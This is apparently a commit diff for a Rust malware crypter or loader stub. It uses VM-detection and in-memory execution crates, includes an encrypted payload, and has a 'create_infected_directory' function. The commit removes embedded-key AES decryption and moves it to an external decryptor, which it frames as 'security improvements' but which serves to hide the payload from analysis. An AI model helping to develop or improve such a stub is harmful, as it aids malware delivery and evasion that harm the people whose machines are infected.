Implement secure AES-CBC encryption with external C++ decryption

- Replace weak ECB encryption with AES-128-CBC + PKCS7 padding
- Implement secure key derivation: SHA256(password + salt)
- Add cryptographically secure random IV generation
- Create standalone C++ decryptor for external binary decryption
- Update stub to require external decryption workflow
- Maintain cross-platform compatibility (Linux/Windows)
- Add proper error handling and padding validation

Security improvements:
- AES-128-CBC instead of ECB (prevents pattern analysis)
- Random IVs prevent identical plaintext producing identical ciphertext
- Password-based key derivation with salt
- PKCS7 padding with validation
- External decryption prevents embedded keys

stub/Cargo.lock

@@ -1,6 +1,6 @@
 # This file is automatically @generated by Cargo.
 # It is not intended for manual editing.
-version = 3
+version = 4
 
 [[package]]
 name = "aes"
@@ -91,6 +91,7 @@ version = "0.1.0"
 dependencies = [
  "aes",
  "inside-vm",
+ "libc",
  "memexec",
  "winreg",
 ]

stub/src/main.rs

@@ -34,30 +34,11 @@ fn main() {
 }
 
 fn decrypt_file() -> Result<Vec<u8>> {
-    // Read encrypted bytes and store bytes of key :3
-    let encrypted_bytes = include_bytes!("encrypted_Input.bin");
-    let mut key_bytes: [u8; 16] = [0; 16];
-    let mut key_file = Cursor::new(include_bytes!("key.txt"));
-    key_file.read_exact(&mut key_bytes)?;
-
-    // Gen cipher with the key B-)
-    let key = GenericArray::from(key_bytes);
-    let cipher = Aes128::new(&key);
-
-    // Decrypt the encrypted bytes in blocks
-    let mut decrypted_bytes = Vec::new();
-    for block in encrypted_bytes.chunks(16) {
-        let mut block_array = GenericArray::clone_from_slice(block);
-        cipher.decrypt_block(&mut block_array);
-        decrypted_bytes.extend_from_slice(&block_array);
-    }
-
-    // Unpad the decrypted bytes
-    let padding_size = decrypted_bytes.last().unwrap().clone() as usize;
-    let decrypted_bytes = (&decrypted_bytes[..decrypted_bytes.len() - padding_size]).to_vec();
-
-    // return decrypted bytes
-    Ok(decrypted_bytes)
+    // This stub now requires external decryption
+    eprintln!("This stub requires external decryption!");
+    eprintln!("Run: ./decryptor <password>");
+    eprintln!("Then execute the decrypted_binary");
+    std::process::exit(1);
 }
 
 fn create_infected_directory() -> io::Result<()> {